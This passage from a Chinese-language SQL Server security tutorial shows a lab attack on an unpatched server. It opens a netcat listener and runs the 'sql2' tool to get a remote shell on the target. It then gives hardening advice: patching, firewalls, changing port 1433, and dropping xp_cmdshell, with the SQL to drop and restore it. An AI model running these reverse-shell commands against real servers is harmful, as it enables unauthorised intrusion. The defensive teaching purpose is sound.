三、SQL Server不打補丁的漏洞
小王的SQL Server是安裝在win 2000上的,沒有打補丁,沒打補丁的SQL Server就是個大漏勺,無論你的使用權限設定的多麼嚴格都是一張一捅就破的爛紙。下面的例子是對有漏洞的SQL Serve(安裝在192.168.113.10這台機器上)的攻擊,實驗中用到了兩個工具,nc和sql2,nc別名瑞士軍刀,是古老且十分強大的網路工具,如果想知道詳細用法請參考網上的相關資料,sql2是專門攻擊有漏洞的SQL Serve(sp2以下,含sp2),過程如下:
25,在我的機器(IP地址為192.168.113.207)的命令視窗下(運行cmd)運行nc –l –p 77,意思是在本機開個77的連接埠
建立一個命令視窗,運行sql2 192.168.113.10 192.168.113.207 77 0
如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc監看式視窗就會出現26的介面,注意!這個介面可是裝有SQL Serve機器的,換句話,我們已經入侵到這台機器了。接著看27,用ipconfig 查的地址是192.168.113.10,它歸你控制了,簡單吧!
圖25
圖26
圖27
四、幾點建議
1、及時打補丁
不打補丁的危害上面已經示範了,道理就不用多說了吧!
2、最小的許可權等於對大的安全
這句話說起容易,做起難,有一個簡單易行的辦法就是用流行的漏洞掃描工具和攻擊工具檢測本系統是否安全,這樣的工具非常多,自己找吧。
3、安裝防火牆
如果只是在本機調試系統,安裝防火牆是非常好的選擇,這樣即使有漏洞別人也無法攻擊。
4、改變連接埠
如果SQL Serve需要遠端存取,連接埠一定是要開放的,即使安裝了防火牆,也要將SQL Serve的服務連接埠1433放開,針對SQL Serve的攻擊工具主要掃描的是1433連接埠,可以改變預設連接埠,這樣雖然不能從根本上解決問題,但可以對付一般的掃描,改變連接埠最簡單的辦法是在開啟“開始”——〉“所有程式”——〉“Microsoft SQL Serve” ——〉“伺服器網路工具 + 生產力”,在介面中選中“TCP/IP”,點擊“屬性”,把1433改為不超過65535的一個數,重啟SQL Serve服務,這樣預設連接埠就改了,注意這時你遠端連線SQL Serve時IP地址後要加改過的連接埠號碼。
5、刪除不需要的擴充預存程序
如果你的系統中確實不需要這些擴充預存程序可以刪除。
刪除預存程序的命令是:EXEC sp_dropextendedproc ‘預存程序的名稱’
例如要刪除xp_cmdshell,執行EXEC sp_dropextendedproc ‘xp_cmdshell’,每個擴充預存程序實際上用的是相應的dll檔案,如果想徹底讓該預存程序不起作用,還要將dll檔案也刪除。這些檔案一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,28,xp_cmdshell的dll檔案是xplog70.dll
要恢複該預存程序,命令是:
EXEC sp_addextendedproc預存程序的名稱 ,@dllname ='預存程序的dll'
例如:恢複預存程序xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢複時如果xplog70.dll已刪除需要copy一個。